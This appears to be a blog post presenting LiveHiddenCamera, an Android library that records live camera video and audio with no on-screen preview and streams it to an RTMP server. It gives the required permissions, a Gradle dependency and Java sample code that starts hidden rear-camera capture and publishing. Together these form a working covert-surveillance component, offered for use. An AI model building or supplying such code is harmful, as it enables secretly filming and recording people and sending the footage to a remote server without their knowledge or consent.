LiveHiddenCamera is a library which record live video and audio from Android device without displaying a preview.
How to use ?
I’ve created a library to make it more usable. The only requirement is to add the library to your project and pass the Rtmp URL to it.
Also Read – Windows Hacks : Creative & Unusual Things That Can Be Done With The Windows API
Additionally you should care about:
Manifest.xml
:<uses-permission android:name=”android.permission.INTERNET” />
<uses-permission android:name=”android.permission.CAMERA” />
<uses-permission android:name=”android.permission.RECORD_AUDIO” />
<uses-permission android:name=”android.permission.SYSTEM_ALERT_WINDOW” />
Adding Library
The usage of the library is straight. Just add the following library to the gradle.build
file of your project.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest
.Before using the library, you should have deployed an Rtmp server. I’ve ued Ant Media Server. There is a nice guide on Ant Media Server installation in THIS LINK.
After starting the Ant Media Rtmp server, you should see something like this:
Sample Code
After adding the library to your project, do the following steps:
RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d(“HCL”, “Ask user to grant permission.”);
Log.e(“HCL”, ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView); mPublisher.setEncodeHandler(new SrsEncodeHandler(this)); mPublisher.setRtmpHandler(new RtmpHandler(this)); mPublisher.setRecordHandler(new SrsRecordHandler(this)); mPublisher.setPreviewResolution(640, 360); mPublisher.setOutputResolution(640, 360); mPublisher.setVideoHDMode(); mPublisher.startPublish(rtmpURL); mPublisher.startCamera();
}
Have you ever come across a picture on the internet and wondered where it came…
Overview WhatsMyName is a free, community-driven OSINT tool designed to identify where a username exists…
Managing disk usage is a crucial task for Linux users and administrators alike. Understanding which…
Efficient disk space management is vital in Linux, especially for system administrators who manage servers…
Knowing how to check directory sizes in Linux is essential for managing disk space and…
Managing user accounts is a core responsibility for any Linux administrator. Whether you’re securing a…